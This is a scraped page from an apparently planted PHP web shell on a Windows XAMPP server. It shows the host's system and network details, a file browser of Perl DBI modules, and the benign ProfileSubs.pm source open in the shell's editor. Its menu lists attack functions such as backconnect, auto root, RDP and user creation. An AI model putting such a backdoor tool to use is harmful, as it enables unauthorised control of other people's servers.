Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
DBI /
[ HOME SHELL ]
Name
Size
Permission
Action
Const
[ DIR ]
drwxrwxrwx
DBD
[ DIR ]
drwxrwxrwx
Gofer
[ DIR ]
drwxrwxrwx
ProfileDumper
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
Util
[ DIR ]
drwxrwxrwx
Changes.pm
123.46
KB
-rw-rw-rw-
DBD.pm
123.57
KB
-rw-rw-rw-
Profile.pm
31.89
KB
-rw-rw-rw-
ProfileData.pm
19.53
KB
-rw-rw-rw-
ProfileDumper.pm
10.14
KB
-rw-rw-rw-
ProfileSubs.pm
1.14
KB
-rw-rw-rw-
ProxyServer.pm
25.84
KB
-rw-rw-rw-
PurePerl.pm
37.9
KB
-rw-rw-rw-
W32ODBC.pm
4.5
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProfileSubs.pm
package DBI::ProfileSubs; our $VERSION = "0.009396"; =head1 NAME DBI::ProfileSubs - Subroutines for dynamic profile Path =head1 SYNOPSIS DBI_PROFILE='&norm_std_n3' prog.pl This is new and still experimental. =head1 TO DO Define come kind of naming convention for the subs. =cut use strict; use warnings; # would be good to refactor these regex into separate subs and find some # way to compose them in various combinations into multiple subs. # Perhaps via AUTOLOAD where \&auto_X_Y_Z creates a sub that does X, Y, and Z. # The final subs always need to be very fast. # sub norm_std_n3 { # my ($h, $method_name) = @_; local $_ = $_; s/\b\d+\b/<N>/g; # 42 -> <N> s/\b0x[0-9A-Fa-f]+\b/<N>/g; # 0xFE -> <N> s/'.*?'/'<S>'/g; # single quoted strings (doesn't handle escapes) s/".*?"/"<S>"/g; # double quoted strings (doesn't handle escapes) # convert names like log20001231 into log<N> s/([a-z_]+)(\d{3,})\b/${1}<N>/ig; # abbreviate massive "in (...)" statements and similar s!((\s*<[NS]>\s*,\s*){100,})!sprintf("$2,<repeated %d times>",length($1)/2)!eg; return $_; } 1;
Close
